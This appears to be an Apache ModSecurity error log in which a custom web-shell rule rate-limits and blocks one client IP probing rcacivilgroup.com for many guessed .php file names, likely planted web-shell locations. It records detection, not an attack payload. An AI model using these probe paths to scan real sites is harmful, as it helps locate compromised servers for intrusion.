[Fri Apr 24 08:29:37.159733 2026] [:error] [pid 19200:tid 19225] [client 51.120.70.44:56257] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "aeq5cTQ--M3-tsKAnhEU7QAAANE"]
[Fri Apr 24 08:29:38.233524 2026] [:error] [pid 52129:tid 52139] [client 51.120.70.44:53926] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "aeq5cuKCZKf8_u2LKiANHwAAAQY"]
[Fri Apr 24 08:29:39.366143 2026] [:error] [pid 19102:tid 19166] [client 51.120.70.44:60696] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1a.php"] [unique_id "aeq5cwDSgrbLEZbkqD4j7gAAAII"]
[Fri Apr 24 08:29:40.218514 2026] [:error] [pid 19200:tid 19232] [client 51.120.70.44:44901] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1a.php"] [unique_id "aeq5dDQ--M3-tsKAnhEU-gAAANg"]
[Fri Apr 24 08:29:41.329074 2026] [:error] [pid 52129:tid 52147] [client 51.120.70.44:43009] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1a.php"] [unique_id "aeq5deKCZKf8_u2LKiANJAAAAQ4"]
[Fri Apr 24 08:29:42.323848 2026] [:error] [pid 52129:tid 52142] [client 51.120.70.44:53905] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1a.php"] [unique_id "aeq5duKCZKf8_u2LKiANJwAAAQk"]
[Fri Apr 24 08:29:42.973259 2026] [:error] [pid 19200:tid 19223] [client 51.120.70.44:61589] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rh.php"] [unique_id "aeq5djQ--M3-tsKAnhEVAQAAAM8"]
[Fri Apr 24 08:29:43.808498 2026] [:error] [pid 52129:tid 52150] [client 51.120.70.44:60384] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rh.php"] [unique_id "aeq5d-KCZKf8_u2LKiANKAAAARE"]
[Fri Apr 24 08:29:44.601526 2026] [:error] [pid 52129:tid 52151] [client 51.120.70.44:44864] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rh.php"] [unique_id "aeq5eOKCZKf8_u2LKiANLAAAARI"]
[Fri Apr 24 08:29:45.398299 2026] [:error] [pid 19100:tid 19110] [client 51.120.70.44:58728] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rh.php"] [unique_id "aeq5ebF_hzQs4CqbifdR7wAAAAE"]
[Fri Apr 24 08:29:46.195141 2026] [:error] [pid 19102:tid 19182] [client 51.120.70.44:5366] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-kikikoko.php"] [unique_id "aeq5egDSgrbLEZbkqD4kEgAAAJI"]
[Fri Apr 24 08:29:47.461646 2026] [:error] [pid 19101:tid 19153] [client 51.120.70.44:43029] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-kikikoko.php"] [unique_id "aeq5e2AHj9bEvrTgbO0bAQAAAFA"]
[Fri Apr 24 08:29:48.400547 2026] [:error] [pid 19101:tid 19160] [client 51.120.70.44:6119] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-kikikoko.php"] [unique_id "aeq5fGAHj9bEvrTgbO0bBAAAAFc"]
[Fri Apr 24 08:29:49.128129 2026] [:error] [pid 19101:tid 19148] [client 51.120.70.44:56314] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-kikikoko.php"] [unique_id "aeq5fWAHj9bEvrTgbO0bBgAAAEs"]
[Fri Apr 24 08:29:50.121002 2026] [:error] [pid 19101:tid 19143] [client 51.120.70.44:60684] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "aeq5fmAHj9bEvrTgbO0bDQAAAEY"]
[Fri Apr 24 08:29:51.623033 2026] [:error] [pid 19101:tid 19159] [client 51.120.70.44:56297] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "aeq5f2AHj9bEvrTgbO0bGwAAAFY"]
[Fri Apr 24 08:29:52.542780 2026] [:error] [pid 52129:tid 52146] [client 51.120.70.44:46815] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "aeq5gOKCZKf8_u2LKiANLwAAAQ0"]
[Fri Apr 24 08:29:54.161406 2026] [:error] [pid 19200:tid 19213] [client 51.120.70.44:5721] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "aeq5gjQ--M3-tsKAnhEVFwAAAMU"]
[Fri Apr 24 08:29:57.126969 2026] [:error] [pid 19102:tid 19183] [client 51.120.70.44:46820] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tramuibs.php"] [unique_id "aeq5hQDSgrbLEZbkqD4kLQAAAJM"]
[Fri Apr 24 08:29:58.345892 2026] [:error] [pid 19200:tid 19232] [client 51.120.70.44:53938] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tramuibs.php"] [unique_id "aeq5hjQ--M3-tsKAnhEVJgAAANg"]
[Fri Apr 24 08:29:59.825841 2026] [:error] [pid 19200:tid 19217] [client 51.120.70.44:5316] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tramuibs.php"] [unique_id "aeq5hzQ--M3-tsKAnhEVKgAAAMk"]
[Fri Apr 24 08:30:01.814420 2026] [:error] [pid 52129:tid 52155] [client 51.120.70.44:56268] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tramuibs.php"] [unique_id "aeq5ieKCZKf8_u2LKiANSgAAARY"]
[Fri Apr 24 08:30:18.983401 2026] [:error] [pid 19101:tid 19155] [client 51.120.70.44:43026] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wwx.php"] [unique_id "aeq5mmAHj9bEvrTgbO0beAAAAFI"]
[Fri Apr 24 08:30:21.223884 2026] [:error] [pid 19200:tid 19226] [client 51.120.70.44:61598] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wwx.php"] [unique_id "aeq5nTQ--M3-tsKAnhEVZAAAANI"]
[Fri Apr 24 08:30:22.657907 2026] [:error] [pid 52129:tid 52145] [client 51.120.70.44:46832] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wwx.php"] [unique_id "aeq5nuKCZKf8_u2LKiANeAAAAQw"]
[Fri Apr 24 08:30:23.572121 2026] [:error] [pid 19101:tid 19144] [client 51.120.70.44:43032] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wwx.php"] [unique_id "aeq5n2AHj9bEvrTgbO0bhQAAAEc"]
[Fri Apr 24 08:30:24.281534 2026] [:error] [pid 19200:tid 19209] [client 51.120.70.44:65498] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/trx24.php"] [unique_id "aeq5oDQ--M3-tsKAnhEVcwAAAME"]
[Fri Apr 24 08:30:26.117204 2026] [:error] [pid 19200:tid 19229] [client 51.120.70.44:56274] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/trx24.php"] [unique_id "aeq5ojQ--M3-tsKAnhEVigAAANU"]
[Fri Apr 24 08:30:27.388576 2026] [:error] [pid 19102:tid 19167] [client 51.120.70.44:54341] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/trx24.php"] [unique_id "aeq5owDSgrbLEZbkqD4kYQAAAIM"]
[Fri Apr 24 08:30:28.123729 2026] [:error] [pid 19100:tid 19134] [client 51.120.70.44:58553] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/trx24.php"] [unique_id "aeq5pLF_hzQs4CqbifdSLQAAABg"]
[Fri Apr 24 08:30:29.366209 2026] [:error] [pid 19200:tid 19210] [client 51.120.70.44:44805] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "aeq5pTQ--M3-tsKAnhEVngAAAMI"]
[Fri Apr 24 08:30:31.186667 2026] [:error] [pid 52129:tid 52137] [client 51.120.70.44:53904] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "aeq5p-KCZKf8_u2LKiANkwAAAQQ"]
[Fri Apr 24 08:30:33.156285 2026] [:error] [pid 19101:tid 19153] [client 51.120.70.44:61873] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "aeq5qWAHj9bEvrTgbO0blgAAAFA"]
[Fri Apr 24 08:30:35.984427 2026] [:error] [pid 19102:tid 19180] [client 51.120.70.44:57637] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "aeq5qwDSgrbLEZbkqD4kbgAAAJA"]
[Fri Apr 24 08:30:40.581498 2026] [:error] [pid 19102:tid 19173] [client 51.120.70.44:59460] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/berax.php"] [unique_id "aeq5sADSgrbLEZbkqD4kdwAAAIk"]
[Fri Apr 24 08:30:41.933348 2026] [:error] [pid 19200:tid 19211] [client 51.120.70.44:46775] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/berax.php"] [unique_id "aeq5sTQ--M3-tsKAnhEVvQAAAMM"]
[Fri Apr 24 08:30:43.661479 2026] [:error] [pid 52129:tid 52135] [client 51.120.70.44:62103] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/berax.php"] [unique_id "aeq5s-KCZKf8_u2LKiANugAAAQI"]
[Fri Apr 24 08:30:46.057105 2026] [:error] [pid 52129:tid 52141] [client 51.120.70.44:51123] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/berax.php"] [unique_id "aeq5tuKCZKf8_u2LKiANywAAAQg"]
[Fri Apr 24 08:30:47.421499 2026] [:error] [pid 52129:tid 52150] [client 51.120.70.44:55511] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkxzo.php"] [unique_id "aeq5t-KCZKf8_u2LKiAN1QAAARE"]
[Fri Apr 24 08:30:48.271492 2026] [:error] [pid 19101:tid 19137] [client 51.120.70.44:60087] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkxzo.php"] [unique_id "aeq5uGAHj9bEvrTgbO0bsAAAAEA"]
[Fri Apr 24 08:30:49.482140 2026] [:error] [pid 52129:tid 52137] [client 51.120.70.44:65230] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkxzo.php"] [unique_id "aeq5ueKCZKf8_u2LKiAN7QAAAQQ"]
[Fri Apr 24 08:30:50.299589 2026] [:error] [pid 19102:tid 19173] [client 51.120.70.44:47094] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkxzo.php"] [unique_id "aeq5ugDSgrbLEZbkqD4klAAAAIk"]
[Fri Apr 24 08:30:51.172471 2026] [:error] [pid 19100:tid 19119] [client 51.120.70.44:57319] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cdxadmin.php"] [unique_id "aeq5u7F_hzQs4CqbifdSRQAAAAk"]
[Fri Apr 24 08:30:51.865627 2026] [:error] [pid 52129:tid 52149] [client 51.120.70.44:63547] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cdxadmin.php"] [unique_id "aeq5u-KCZKf8_u2LKiAOFQAAARA"]
[Fri Apr 24 08:30:53.023298 2026] [:error] [pid 19200:tid 19210] [client 51.120.70.44:63544] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cdxadmin.php"] [unique_id "aeq5vTQ--M3-tsKAnhEV0wAAAMI"]
[Fri Apr 24 08:30:54.753627 2026] [:error] [pid 19200:tid 19228] [client 51.120.70.44:59370] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cdxadmin.php"] [unique_id "aeq5vjQ--M3-tsKAnhEV1wAAANQ"]
[Fri Apr 24 08:30:55.521721 2026] [:error] [pid 19200:tid 19219] [client 51.120.70.44:58095] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dfre.php"] [unique_id "aeq5vzQ--M3-tsKAnhEV2gAAAMs"]
[Fri Apr 24 08:30:56.751575 2026] [:error] [pid 52129:tid 52156] [client 51.120.70.44:59433] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dfre.php"] [unique_id "aeq5wOKCZKf8_u2LKiAOMgAAARc"]
[Fri Apr 24 08:30:57.501837 2026] [:error] [pid 19200:tid 19209] [client 51.120.70.44:65270] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dfre.php"] [unique_id "aeq5wTQ--M3-tsKAnhEV3gAAAME"]
[Fri Apr 24 08:30:58.441629 2026] [:error] [pid 19101:tid 19141] [client 51.120.70.44:65254] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dfre.php"] [unique_id "aeq5wmAHj9bEvrTgbO0byAAAAEQ"]
[Fri Apr 24 08:30:59.091037 2026] [:error] [pid 52129:tid 52150] [client 51.120.70.44:47089] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "aeq5w-KCZKf8_u2LKiAOOgAAARE"]
[Fri Apr 24 08:30:59.728826 2026] [:error] [pid 19100:tid 19118] [client 51.120.70.44:46083] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "aeq5w7F_hzQs4CqbifdSUwAAAAg"]
[Fri Apr 24 08:31:00.758150 2026] [:error] [pid 52129:tid 52142] [client 51.120.70.44:55534] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "aeq5xOKCZKf8_u2LKiAOQQAAAQk"]
[Fri Apr 24 08:31:01.404263 2026] [:error] [pid 19200:tid 19217] [client 51.120.70.44:57298] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "aeq5xTQ--M3-tsKAnhEV8gAAAMk"]
[Fri Apr 24 08:31:02.458642 2026] [:error] [pid 52129:tid 52145] [client 51.120.70.44:59354] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shorw.php"] [unique_id "aeq5xuKCZKf8_u2LKiAORwAAAQw"]
[Fri Apr 24 08:31:03.302245 2026] [:error] [pid 19102:tid 19170] [client 51.120.70.44:63521] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shorw.php"] [unique_id "aeq5xwDSgrbLEZbkqD4ktAAAAIY"]
